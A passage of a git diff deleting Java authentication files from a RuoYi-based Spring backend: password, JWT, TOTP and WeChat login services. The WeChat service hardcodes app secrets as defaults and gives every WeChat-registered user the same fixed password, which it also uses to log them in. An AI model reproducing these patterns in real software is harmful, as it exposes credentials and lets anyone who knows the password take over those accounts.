Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire"))); - throw new CaptchaExpireException(); - } - if (checkcode && (code == null || !code.equalsIgnoreCase(captcha))) - { - AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error"))); - throw new CaptchaException(); - } - } - - private String authenticate(String username, String password) - { - // 用户验证 - Authentication authentication = null; - try - { - // 该方法会去调用UserDetailsServiceImpl.loadUserByUsername - authentication = authenticationManager - .authenticate(new UsernamePasswordAuthenticationToken(username, password)); - } - catch (Exception e) - { - if (e instanceof BadCredentialsException) - { - AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match"))); - throw new UserPasswordNotMatchException(); - } - else - { - AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, e.getMessage())); - throw new CustomException(e.getMessage()); - } - } - AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_SUCCESS, MessageUtils.message("user.login.success"))); - LoginUser loginUser = (LoginUser) authentication.getPrincipal(); - // 生成token - return tokenService.createToken(loginUser); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPermissionService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPermissionService.java deleted file mode 100644 index feb8038..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPermissionService.java +++ /dev/null @@ -1,66 +0,0 @@ -package com.ruoyi.framework.web.service; - -import java.util.HashSet; -import java.util.Set; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Component; -import com.ruoyi.common.core.domain.entity.SysUser; -import com.ruoyi.system.service.ISysMenuService; -import com.ruoyi.system.service.ISysRoleService; - -/** - * 用户权限处理 - * - * @author ruoyi - */ -@Component -public class SysPermissionService -{ - @Autowired - private ISysRoleService roleService; - - @Autowired - private ISysMenuService menuService; - - /** - * 获取角色数据权限 - * - * @param user 用户信息 - * @return 角色权限信息 - */ - public Set getRolePermission(SysUser user) - { - Set roles = new HashSet(); - // 管理员拥有所有权限 - if (user.isAdmin()) - { - roles.add("admin"); - } - else - { - roles.addAll(roleService.selectRolePermissionByUserId(user.getUserId())); - } - return roles; - } - - /** - * 获取菜单数据权限 - * - * @param user 用户信息 - * @return 菜单权限信息 - */ - public Set getMenuPermission(SysUser user) - { - Set perms = new HashSet(); - // 管理员拥有所有权限 - if (user.isAdmin()) - { - perms.add("*:*:*"); - } - else - { - perms.addAll(menuService.selectMenuPermsByUserId(user.getUserId())); - } - return perms; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java deleted file mode 100644 index 0023855..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java +++ /dev/null @@ -1,219 +0,0 @@ -package com.ruoyi.framework.web.service; - -import java.util.HashMap; -import java.util.Map; -import java.util.concurrent.TimeUnit; -import javax.servlet.http.HttpServletRequest; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.stereotype.Component; -import com.ruoyi.common.constant.Constants; -import com.ruoyi.common.core.domain.model.LoginUser; -import com.ruoyi.common.core.redis.RedisCache; -import com.ruoyi.common.utils.ServletUtils; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.common.utils.ip.AddressUtils; -import com.ruoyi.common.utils.ip.IpUtils; -import com.ruoyi.common.utils.uuid.IdUtils; -import eu.bitwalker.useragentutils.UserAgent; -import io.jsonwebtoken.Claims; -import io.jsonwebtoken.Jwts; -import io.jsonwebtoken.SignatureAlgorithm; - -/** - * token验证处理 - * - * @author ruoyi - */ -@Component -public class TokenService -{ - // 令牌自定义标识 - @Value("${token.header}") - private String header; - - // 令牌秘钥 - @Value("${token.secret}") - private String secret; - - // 令牌有效期(默认30分钟) - @Value("${token.expireTime}") - private int expireTime; - - protected static final long MILLIS_SECOND = 1000; - - protected static final long MILLIS_MINUTE = 60 * MILLIS_SECOND; - - private static final Long MILLIS_MINUTE_TEN = 20 * 60 * 1000L; - - @Autowired - private RedisCache redisCache; - - /** - * 获取用户身份信息 - * - * @return 用户信息 - */ - public LoginUser getLoginUser(HttpServletRequest request) - { - // 获取请求携带的令牌 - String token = getToken(request); - if (StringUtils.isNotEmpty(token)) - { - Claims claims = parseToken(token); - // 解析对应的权限以及用户信息 - String uuid = (String) claims.get(Constants.LOGIN_USER_KEY); - String userKey = getTokenKey(uuid); - LoginUser user = redisCache.getCacheObject(userKey); - return user; - } - return null; - } - - /** - * 设置用户身份信息 - */ - public void setLoginUser(LoginUser loginUser) - { - if (StringUtils.isNotNull(loginUser) && StringUtils.isNotEmpty(loginUser.getToken())) - { - refreshToken(loginUser); - } - } - - /** - * 删除用户身份信息 - */ - public void delLoginUser(String token) - { - if (StringUtils.isNotEmpty(token)) - { - String userKey = getTokenKey(token); - redisCache.deleteObject(userKey); - } - } - - /** - * 创建令牌 - * - * @param loginUser 用户信息 - * @return 令牌 - */ - public String createToken(LoginUser loginUser) - { - String token = IdUtils.fastUUID(); - loginUser.setToken(token); - setUserAgent(loginUser); - refreshToken(loginUser); - - Map claims = new HashMap<>(); - claims.put(Constants.LOGIN_USER_KEY, token); - return createToken(claims); - } - - /** - * 验证令牌有效期,相差不足20分钟,自动刷新缓存 - * - * @param loginUser - * @return 令牌 - */ - public void verifyToken(LoginUser loginUser) - { - long expireTime = loginUser.getExpireTime(); - long currentTime = System.currentTimeMillis(); - if (expireTime - currentTime <= MILLIS_MINUTE_TEN) - { - refreshToken(loginUser); - } - } - - /** - * 刷新令牌有效期 - * - * @param loginUser 登录信息 - */ - public void refreshToken(LoginUser loginUser) - { - loginUser.setLoginTime(System.currentTimeMillis()); - loginUser.setExpireTime(loginUser.getLoginTime() + expireTime * MILLIS_MINUTE); - // 根据uuid将loginUser缓存 - String userKey = getTokenKey(loginUser.getToken()); - redisCache.setCacheObject(userKey, loginUser, expireTime, TimeUnit.MINUTES); - } - - /** - * 设置用户代理信息 - * - * @param loginUser 登录信息 - */ - public void setUserAgent(LoginUser loginUser) - { - UserAgent userAgent = UserAgent.parseUserAgentString(ServletUtils.getRequest().getHeader("User-Agent")); - String ip = IpUtils.getIpAddr(ServletUtils.getRequest()); - loginUser.setIpaddr(ip); - loginUser.setLoginLocation(AddressUtils.getRealAddressByIP(ip)); - loginUser.setBrowser(userAgent.getBrowser().getName()); - loginUser.setOs(userAgent.getOperatingSystem().getName()); - } - - /** - * 从数据声明生成令牌 - * - * @param claims 数据声明 - * @return 令牌 - */ - private String createToken(Map claims) - { - String token = Jwts.builder() - .setClaims(claims) - .signWith(SignatureAlgorithm.HS512, secret).compact(); - return token; - } - - /** - * 从令牌中获取数据声明 - * - * @param token 令牌 - * @return 数据声明 - */ - private Claims parseToken(String token) - { - return Jwts.parser() - .setSigningKey(secret) - .parseClaimsJws(token) - .getBody(); - } - - /** - * 从令牌中获取用户名 - * - * @param token 令牌 - * @return 用户名 - */ - public String getUsernameFromToken(String token) - { - Claims claims = parseToken(token); - return claims.getSubject(); - } - - /** - * 获取请求token - * - * @param request - * @return token - */ - private String getToken(HttpServletRequest request) - { - String token = request.getHeader(header); - if (StringUtils.isNotEmpty(token) && token.startsWith(Constants.TOKEN_PREFIX)) - { - token = token.replace(Constants.TOKEN_PREFIX, ""); - } - return token; - } - - private String getTokenKey(String uuid) - { - return Constants.LOGIN_TOKEN_KEY + uuid; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TotpAuthService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TotpAuthService.java deleted file mode 100644 index 7e923ff..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TotpAuthService.java +++ /dev/null @@ -1,198 +0,0 @@ -package com.ruoyi.framework.web.service; - -import com.ruoyi.common.constant.Constants; -import com.ruoyi.common.core.domain.entity.SysUser; -import com.ruoyi.common.core.domain.model.LoginUser; -import com.ruoyi.common.exception.CustomException; -import com.ruoyi.common.utils.SecurityUtils; -import com.ruoyi.common.utils.TotpUtils; -import com.ruoyi.framework.manager.AsyncManager; -import com.ruoyi.framework.manager.factory.AsyncFactory; -import com.ruoyi.system.mapper.SysUserTotpMapper; -import com.ruoyi.system.service.ISysUserService; -import java.net.URLEncoder; -import java.nio.charset.StandardCharsets; -import java.security.MessageDigest; -import java.time.Instant; -import java.util.Base64; -import java.util.Collections; -import java.util.LinkedHashMap; -import java.util.Map; -import java.util.concurrent.TimeUnit; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.dao.DuplicateKeyException; -import org.springframework.data.redis.core.StringRedisTemplate; -import org.springframework.data.redis.core.script.DefaultRedisScript; -import org.springframework.stereotype.Service; - -/** 独立的 Authenticator 登录方式,不改变密码登录和 Google OAuth 的认证契约。 */ -@Service -public class TotpAuthService { - private static final String INVALID = "账号或动态码无效、已使用,请稍后重试"; - private static final String PENDING_PREFIX = "auth:totp:pending:"; - /** 计数及设置过期时间原子完成,避免进程中断后产生永久锁。 */ - private static final DefaultRedisScript LIMIT_SCRIPT = new DefaultRedisScript<>( - "local n = redis.call('INCR', KEYS[1]); " - + "if n == 1 then redis.call('EXPIRE', KEYS[1], ARGV[1]); end; return n", Long.class); - - private final SysUserTotpMapper mapper; - private final TotpSecretCipher cipher; - private final StringRedisTemplate redis; - private final ISysUserService userService; - private final UserDetailsServiceImpl userDetailsService; - private final TokenService tokenService; - private final SysLoginService loginService; - - @Value("${auth.totp.issuer:USDT PAY}") - private String issuer; - - public TotpAuthService(SysUserTotpMapper mapper, TotpSecretCipher cipher, StringRedisTemplate redis, - ISysUserService userService, UserDetailsServiceImpl userDetailsService, - TokenService tokenService, SysLoginService loginService) { - this.mapper = mapper; - this.cipher = cipher; - this.redis = redis; - this.userService = userService; - this.userDetailsService = userDetailsService; - this.tokenService = tokenService; - this.loginService = loginService; - } - - /** 状态接口只返回布尔值,不返回已有密钥或密文。 */ - public Map status(Long userId) { - Map result = new LinkedHashMap<>(); - result.put("enabled", cipher.isConfigured()); - result.put("bound", mapper.selectSecret(userId) != null); - return result; - } - - /** 已登录且再次验证本地密码后生成临时绑定,Redis 也只保留加密后的密钥。 */ - public Map setup(Long userId, String password) { - limit("manage:" + userId, 10); - SysUser user = verifyPassword(userId, password); - if (!cipher.isConfigured()) { - throw new CustomException("服务端尚未配置 Authenticator 加密密钥"); - } - if (mapper.selectSecret(userId) != null) { - throw new CustomException("已绑定 Authenticator,请先解绑"); - } - String key = PENDING_PREFIX + userId; - // 同一用户同时打开多个页面时复用临时绑定,防止相互覆盖二维码。 - redis.opsForValue().setIfAbsent(key, cipher.encrypt(userId, TotpUtils.newSecret()), 10, TimeUnit.MINUTES); - String pending = redis.opsForValue().get(key); - if (pending == null) { - throw new CustomException("临时绑定已过期,请重新开始"); - } - String secret = cipher.decrypt(userId, pending); - Map result = new LinkedHashMap<>(); - result.put("secret", secret); - result.put("otpauthUrl", "otpauth://totp/" + encode(issuer + ":" + user.getUserName()) - + "?secret=" + secret + "&issuer=" + encode(issuer) + "&algorithm=SHA1&digits=6&period=30"); - return result; - } - - /** 必须验证手机实际生成的六位码才入库;唯一键保证不能覆盖已有绑定。 */ - public void bind(Long userId, String password, String code) { - limit("manage:" + userId, 10); - verifyPassword(userId, password); - String pending = redis.opsForValue().get(PENDING_PREFIX + userId); - if (pending == null) { - throw new CustomException("临时绑定已过期,请重新开始"); - } - long step = TotpUtils.matchingStep(cipher.decrypt(userId, pending), code, Instant.now().getEpochSecond()); - if (step < 0) { - throw new CustomException("动态码错误,请核对手机时间"); - } - try { - mapper.insert(userId, pending, step); - } catch (DuplicateKeyException exception) { - throw new CustomException("已绑定 Authenticator,请刷新页面"); - } - redis.delete(PENDING_PREFIX + userId); - } - - /** 解绑必须同时持有密码和当前动态码,不允许仅靠已登录会话重置认证器。 */ - public void unbind(Long userId, String password, String code) { - limit("manage:" + userId, 10); - verifyPassword(userId, password); - String encrypted = consumeCode(userId, code); - if (mapper.delete(userId, encrypted) != 1) { - throw new CustomException("绑定状态已变化,请刷新页面"); - } - redis.delete(PENDING_PREFIX + userId); - } - - /** 动态码是独立登录凭据,必须同时通过图形验证码、账号限流、IP 限流和账户状态校验。 */ - public String login(String username, String code, String captcha, String uuid, String remoteAddress) { - limit("ip:" + digest(remoteAddress), 50); - loginService.validateCaptcha(username, captcha, uuid, true); - if (username == null || username.trim().isEmpty() || username.length() > 64) { - throw new CustomException(INVALID); - } - SysUser user = userService.selectUserByUserName(username.trim()); - limit("login:" + (user == null ? digest(username) : user.getUserId()), 10); - if (user == null) { - throw new CustomException(INVALID); - } - LoginUser loginUser; - try { - // 复用现有用户状态、角色和菜单权限装配,禁用/删除用户不能使用动态码绕过。 - loginUser = (LoginUser) userDetailsService.loadUserByUsername(user.getUserName()); - consumeCode(user.getUserId(), code); - } catch (CustomException exception) { - AsyncManager.me().execute(AsyncFactory.recordLogininfor(user.getUserName(), Constants.LOGIN_FAIL, - "Authenticator 动态码验证失败")); - throw new CustomException(INVALID); - } - String token = tokenService.createToken(loginUser); - AsyncManager.me().execute(AsyncFactory.recordLogininfor(user.getUserName(), Constants.LOGIN_SUCCESS, - "Authenticator 动态码登录成功")); - return token; - } - - private String consumeCode(Long userId, String code) { - String encrypted = mapper.selectSecret(userId); - if (encrypted == null) { - throw new CustomException(INVALID); - } - long step = TotpUtils.matchingStep(cipher.decrypt(userId, encrypted), code, Instant.now().getEpochSecond()); - if (step < 0 || mapper.consume(userId, encrypted, step) != 1) { - throw new CustomException(INVALID); - } - return encrypted; - } - - private SysUser verifyPassword(Long userId, String password) { - SysUser user = userService.selectUserById(userId); - if (user == null || password == null || password.length() > 128 - || !SecurityUtils.matchesPassword(password, user.getPassword())) { - throw new CustomException("本地账号密码错误"); - } - userDetailsService.loadUserByUsername(user.getUserName()); - return user; - } - - private void limit(String scope, int maximum) { - Long attempts = redis.execute(LIMIT_SCRIPT, Collections.singletonList("auth:totp:limit:" + scope), "300"); - if (attempts == null || attempts > maximum) { - throw new CustomException("动态码操作过于频繁,请在五分钟后重试"); - } - } - - private String digest(String value) { - try { - return Base64.getUrlEncoder().withoutPadding().encodeToString(MessageDigest.getInstance("SHA-256") - .digest(String.valueOf(value).getBytes(StandardCharsets.UTF_8))); - } catch (Exception exception) { - throw new CustomException("动态码服务暂不可用"); - } - } - - private String encode(String value) { - try { - return URLEncoder.encode(value, "UTF-8").replace("+", "%20"); - } catch (Exception exception) { - throw new CustomException("无法生成 Authenticator 绑定信息"); - } - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TotpSecretCipher.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TotpSecretCipher.java deleted file mode 100644 index 4eb8cad..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TotpSecretCipher.java +++ /dev/null @@ -1,71 +0,0 @@ -package com.ruoyi.framework.web.service; - -import com.ruoyi.common.exception.CustomException; -import java.nio.charset.StandardCharsets; -import java.security.SecureRandom; -import java.util.Arrays; -import java.util.Base64; -import javax.crypto.Cipher; -import javax.crypto.spec.GCMParameterSpec; -import javax.crypto.spec.SecretKeySpec; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.stereotype.Component; - -/** 密钥由部署环境提供,与数据库分离;禁止使用默认密钥。 */ -@Component -public class TotpSecretCipher { - private final SecureRandom random = new SecureRandom(); - private final String configuredKey; - - public TotpSecretCipher(@Value("${auth.totp.encryption-key:}") String configuredKey) { - this.configuredKey = configuredKey; - } - - public boolean isConfigured() { - try { - return Base64.getDecoder().decode(configuredKey).length == 32; - } catch (IllegalArgumentException exception) { - return false; - } - } - - public String encrypt(Long userId, String secret) { - try { - byte[] nonce = new byte[12]; - random.nextBytes(nonce); - byte[] encrypted = cipher(Cipher.ENCRYPT_MODE, userId, nonce) - .doFinal(secret.getBytes(StandardCharsets.US_ASCII)); - byte[] payload = Arrays.copyOf(nonce, nonce.length + encrypted.length); - System.arraycopy(encrypted, 0, payload, nonce.length, encrypted.length); - return Base64.getEncoder().encodeToString(payload); - } catch (Exception exception) { - throw new CustomException("动态码密钥加密失败,请检查服务端配置"); - } - } - - public String decrypt(Long userId, String payload) { - try { - byte[] bytes = Base64.getDecoder().decode(payload); - if (bytes.length < 29) { - throw new IllegalArgumentException(); - } - return new String(cipher(Cipher.DECRYPT_MODE, userId, Arrays.copyOf(bytes, 12)) - .doFinal(Arrays.copyOfRange(bytes, 12, bytes.length)), StandardCharsets.US_ASCII); - } catch (Exception exception) { - // 不透出底层异常,避免密文、密钥或配置被异常处理器记录。 - throw new CustomException("动态码密钥读取失败,请联系管理员"); - } - } - - private Cipher cipher(int mode, Long userId, byte[] nonce) throws Exception { - if (!isConfigured()) { - throw new IllegalStateException(); - } - Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); - cipher.init(mode, new SecretKeySpec(Base64.getDecoder().decode(configuredKey), "AES"), - new GCMParameterSpec(128, nonce)); - // 用户 ID 作为附加认证数据,防止数据库密文被调换到另一个用户。 - cipher.updateAAD(("totp:v1:" + userId).getBytes(StandardCharsets.UTF_8)); - return cipher; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/UserDetailsServiceImpl.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/UserDetailsServiceImpl.java deleted file mode 100644 index 190b28c..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/UserDetailsServiceImpl.java +++ /dev/null @@ -1,54 +0,0 @@ -package com.ruoyi.framework.web.service; - -import com.ruoyi.common.core.domain.entity.SysUser; -import com.ruoyi.common.core.domain.model.LoginUser; -import com.ruoyi.common.enums.UserStatus; -import com.ruoyi.common.exception.BaseException; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.system.service.ISysUserService; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.security.core.userdetails.UserDetails; -import org.springframework.security.core.userdetails.UserDetailsService; -import org.springframework.security.core.userdetails.UsernameNotFoundException; -import org.springframework.stereotype.Service; - -/** - * 用户验证处理 - * - * @author ruoyi - */ -@Service -public class UserDetailsServiceImpl implements UserDetailsService { - private static final Logger log = LoggerFactory.getLogger(UserDetailsServiceImpl.class); - - @Autowired - private ISysUserService userService; - - @Autowired - private SysPermissionService permissionService; - - @Override - public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException { - SysUser user = userService.selectUserByUserName(username); - if (StringUtils.isNull(user)) { - log.info("登录用户:{} 不存在.", username); - throw new UsernameNotFoundException("登录用户:" + username + " 不存在"); - } else if (UserStatus.DELETED.getCode().equals(user.getDelFlag())) { - log.info("登录用户:{} 已被删除.", username); - throw new BaseException("对不起,您的账号:" + username + " 已被删除"); - } else if (UserStatus.DISABLE.getCode().equals(user.getStatus())) { - log.info("登录用户:{} 已被停用.", username); - throw new BaseException("对不起,您的账号:" + username + " 已停用"); - } else if (UserStatus.FRONT.getCode().equals(user.getStatus())) { - log.info("登录用户:{}, " + UserStatus.FRONT.getInfo(), username); - throw new BaseException("对不起,您的账号:" + username + " " + UserStatus.FRONT.getInfo()); - } - return createLoginUser(user); - } - - public UserDetails createLoginUser(SysUser user) { - return new LoginUser(user, permissionService.getMenuPermission(user)); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/impl/WxServiceImpl.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/impl/WxServiceImpl.java deleted file mode 100644 index 473947c..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/impl/WxServiceImpl.java +++ /dev/null @@ -1,258 +0,0 @@ -package com.ruoyi.framework.web.service.impl; - -import com.alibaba.fastjson.JSONObject; -import com.ruoyi.common.core.domain.entity.SysUser; -import com.ruoyi.common.core.domain.model.LoginUser; -import com.ruoyi.common.redis.RedisUtil; -import com.ruoyi.common.utils.SecurityUtils; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.framework.init.CommonInit; -import com.ruoyi.framework.web.service.IWxService; -import com.ruoyi.framework.web.service.SysLoginService; -import com.ruoyi.system.domain.ReqUserDTO; -import com.ruoyi.system.domain.SysUserRole; -import com.ruoyi.system.domain.SysWxUserPlus; -import com.ruoyi.system.mapper.SysUserRoleMapper; -import com.ruoyi.system.service.ISysUserService; -import com.ruoyi.system.service.ISysWxUserService; -import org.apache.http.HttpResponse; -import org.apache.http.client.methods.HttpGet; -import org.apache.http.impl.client.CloseableHttpClient; -import org.apache.http.impl.client.HttpClientBuilder; -import org.apache.http.util.EntityUtils; -import org.bouncycastle.jce.provider.BouncyCastleProvider; -import org.bouncycastle.util.Arrays; -import org.bouncycastle.util.encoders.Base64; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import javax.crypto.Cipher; -import javax.crypto.spec.IvParameterSpec; -import javax.crypto.spec.SecretKeySpec; -import java.io.IOException; -import java.security.Key; -import java.security.Security; -import java.util.Date; -import java.util.Random; - -@Service -public class WxServiceImpl implements IWxService { - // @Value("${wx.appid:wxf93d97f1232fa0f4}") -// private String appId; -// @Value("${wx.secret:a5a6a08d3fd2b0b49cce4cfe4a6d602b}") -// private String secret; - @Value("${wx.appid:wxa406856a3ed15304}") - private String appId; - @Value("${wx.secret:b95569d838362f37767ecb71ed36c0dc}") - private String secret; - @Autowired - private ISysWxUserService sysWxUserService; - @Autowired - private ISysUserService sysUserService; - @Autowired - private SysLoginService sysLoginService; - @Autowired - private SysUserRoleMapper sysUserRoleMapper; - @Autowired - private RedisUtil redisUtil; - private static final String KEY_ALGORITHM = "AES"; - private static final String ALGORITHM_STR = "AES/CBC/PKCS7Padding"; - private static Key key; - private static Cipher cipher; - - @Override - public ReqUserDTO getOpenId(String code, String encryptedData, String iv, String signature) throws IOException { - HttpResponse response = null; - //构造httpGet请求 - CloseableHttpClient httpClient = null; - try { - ReqUserDTO reqUserDTO = new ReqUserDTO(); - httpClient = HttpClientBuilder.create().build(); - HttpGet httpTimeGet = new HttpGet("https://api.weixin.qq.com/sns/jscode2session?appid=" + appId + "&secret=" + secret + - "&js_code=" + code + "&grant_type=authorization_code"); - response = httpClient.execute(httpTimeGet); - String result = EntityUtils.toString(response.getEntity()); - JSONObject jsonObject = JSONObject.parseObject(result); - String openId = jsonObject.getString("openid"); - String data = decryptData(encryptedData, jsonObject.getString("session_key"), iv); - SysWxUserPlus sysUser = sysWxUserService.getById(openId); - reqUserDTO.setOpenId(openId); - reqUserDTO.setUser(sysUser); - return reqUserDTO; - } catch (Exception ex) { - ex.printStackTrace(); - } finally { - httpClient.close(); - } - return null; - } - - private void init(byte[] keyBytes) { - // 如果密钥不足16位,那么就补足. 这个if 中的内容很重要 - int base = 16; - if (keyBytes.length % base != 0) { - int groups = keyBytes.length / base + (keyBytes.length % base != 0 ? 1 : 0); - byte[] temp = new byte[groups * base]; - Arrays.fill(temp, (byte) 0); - System.arraycopy(keyBytes, 0, temp, 0, keyBytes.length); - keyBytes = temp; - } - // 初始化 - Security.addProvider(new BouncyCastleProvider()); - // 转化成JAVA的密钥格式 - key = new SecretKeySpec(keyBytes, KEY_ALGORITHM); - try { - // 初始化cipher - cipher = Cipher.getInstance(ALGORITHM_STR, "BC"); - } catch (Exception e) { - e.printStackTrace(); - } - } - - /** - * 解密方法 - * - * @param encryptedData 要解密的字符串 - * @param keyBytes 解密密钥 - * @param ivs 自定义对称解密算法初始向量 iv - * @return 解密后的字节数组 - */ - private byte[] decryptOfDiyIV(byte[] encryptedData, byte[] keyBytes, byte[] ivs) { - byte[] encryptedText = null; - init(keyBytes); - try { - cipher.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(ivs)); - encryptedText = cipher.doFinal(encryptedData); - } catch (Exception e) { - e.printStackTrace(); - } - return encryptedText; - } - - private String decryptData(String encryptDataB64, String sessionKeyB64, String ivB64) { - for (int i = 0; i < 5; i++) { - try { - return new String( - decryptOfDiyIV( - Base64.decode(encryptDataB64), - Base64.decode(sessionKeyB64), - Base64.decode(ivB64) - ) - ); - } catch (Exception e) { - e.printStackTrace(); - } - } - throw new RuntimeException("decryptData faild"); - } - - private String generateChineseName() { - Random random = new Random(); - return CommonInit.names.get(random.nextInt(CommonInit.names.size())); - } - - @Transactional - @Override - public SysWxUserPlus addUser(String code, String phoneIv, String phoneEncryptedData, String nologinPhone) throws IOException { - HttpResponse response = null; - //构造httpGet请求 - CloseableHttpClient httpClient = null; - try { - httpClient = HttpClientBuilder.create().build(); - HttpGet httpTimeGet = new HttpGet("https://api.weixin.qq.com/sns/jscode2session?appid=" + appId + "&secret=" + secret + - "&js_code=" + code + "&grant_type=authorization_code"); - response = httpClient.execute(httpTimeGet); - String result = EntityUtils.toString(response.getEntity()); - JSONObject jsonObject = JSONObject.parseObject(result); - String openId = jsonObject.getString("openid"); - String sessionKey = JSONObject.parseObject(result).getString("session_key"); - SysWxUserPlus sysUser = sysWxUserService.getById(openId); - SysUser user = null; - if (null == sysUser) { - String phoneData = decryptData(phoneEncryptedData, sessionKey, phoneIv); - JSONObject phoneInfo = JSONObject.parseObject(phoneData); - SysUser userByUserName = this.sysUserService.selectUserByUserName(phoneInfo.getString("countryCode") + phoneInfo.getString("phoneNumber")); - if (null == userByUserName) { - user = new SysUser(); - user.setAvatar("https://thirdwx.qlogo.cn/mmopen/vi_32/POgEwh4mIHO4nibH0KlMECNjjGxQUq24ZEaGT4poC6icRiccVGKSyXwibcPq4BWmiaIGuG1icwxaQX6grC9VemZoJ8rg/132"); - user.setUpdateBy("admin"); - user.setDelFlag("0"); - user.setLoginIp("127.0.0.1"); - user.setPassword(SecurityUtils.encryptPassword("liaogou123456")); - user.setEmail(null); - user.setPhonenumber(phoneInfo.getString("phoneNumber")); - user.setUserName(phoneInfo.getString("countryCode") + phoneInfo.getString("phoneNumber")); - user.setLoginDate(new Date()); - user.setRemark("微信注册"); - user.setDeptId(103L); - user.setNickName(generateChineseName()); - user.setStatus("0"); - user.setCreateBy("admin"); - user.setSex("0"); - user.setUpdateTime(new Date()); - sysUserService.insertUser(user); - - SysUserRole sysRole = new SysUserRole(); - sysRole.setRoleId(2L); - sysRole.setUserId(user.getUserId()); - sysUserRoleMapper.batchUserRole(java.util.Arrays.asList(sysRole)); - - sysUser = new SysWxUserPlus(); - sysUser.setUserId(user.getUserId()); - sysUser.setCreateTime(new Date()); - sysUser.setId(openId); - sysUser.setType(1); - sysUser.setStatus(1); - sysUser.setAppId(appId); - sysUser.setPhone(phoneInfo.getString("phoneNumber")); - sysUser.setSessionKey(sessionKey); - sysUser.setNickname(user.getNickName()); - sysUser.setAvatar(user.getAvatar()); -// gasUser.setUnionid(); - sysWxUserService.save(sysUser); - redisUtil.setCacheObj("gas:user", openId, sysUser); - } else { - user = this.sysUserService.selectUserById(userByUserName.getUserId()); - sysUser = this.sysWxUserService.getByUserId(userByUserName.getUserId()); - } - } else { - user = this.sysUserService.selectUserById(sysUser.getUserId()); - } - String toke = sysLoginService.login(user.getUserName(), "liaogou123456", null, - sysUser.getId(), false); - sysUser.setToken(toke); - sysUser.setUsername(user.getUserName()); - return sysUser; - } catch (Exception ex) { - ex.printStackTrace(); - } finally { - httpClient.close(); - } - return null; - } - - @Transactional - @Override - public boolean updatAvatar(String url) { - if (StringUtils.isEmpty(url)) { - return false; - } - LoginUser loginUser = SecurityUtils.getLoginUser(); - this.sysUserService.updateUserAvatar(loginUser.getUsername(), url); - sysWxUserService.updateUserAvatar(loginUser.getUser().getUserId(), url); - return true; - } - - @Override - public boolean updateNickName(String name) { - if (StringUtils.isEmpty(name)) { - return false; - } - LoginUser loginUser = SecurityUtils.getLoginUser(); - this.sysUserService.updateNickName(loginUser.getUsername(), name); - sysWxUserService.updateNickName(loginUser.getUser().getUserId(), name); - return true; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/util/WxUtil.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/util/WxUtil.java deleted file mode 100644 index cdbaf93..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/util/WxUtil.java +++ /dev/null @@ -1,108 +0,0 @@ -package com.ruoyi.framework.web.util; -import com.alibaba.fastjson.JSON; -import com.alibaba.fastjson.JSONObject; -import com.ruoyi.framework.web.domain.TemplateDataVo; -import com.ruoyi.framework.web.domain.WxMssVo; -import org.springframework.http.HttpEntity; -import org.springframework.http.HttpHeaders; -import org.springframework.http.MediaType; -import org.springframework.http.ResponseEntity; -import org.springframework.http.converter.StringHttpMessageConverter; -import org.springframework.web.client.RestTemplate; -import java.nio.charset.StandardCharsets; -import java.util.HashMap; -import java.util.Map; - - - -public class WxUtil { - private static RestTemplate restTemplate = new RestTemplate(); - - - - final Boolean flag = false; - - private final static String appid = "xxx"; - private final static String appSecret = "xxx"; - - public static String pushOneUser(String access_token, String openid, String type, String templateId, String[] keywords) { - String msg =""; - try{ - String url = "https://api.weixin.qq.com/cgi-bin/message/subscribe/send" + - "?access_token=" + access_token; - //拼接推送的模版 - WxMssVo wxMssVo = new WxMssVo(); - wxMssVo.setTouser(openid);//用户openid - wxMssVo.setTemplate_id(templateId);//模版id - Map m = new HashMap<>(); - - if (type.equals("1")) { - m.put("thing3", new TemplateDataVo(keywords[0])); - m.put("amount4", new TemplateDataVo(keywords[1])); - m.put("thing5", new TemplateDataVo(keywords[2])); - wxMssVo.setData(m); - } else if (type.equals("2")) { - 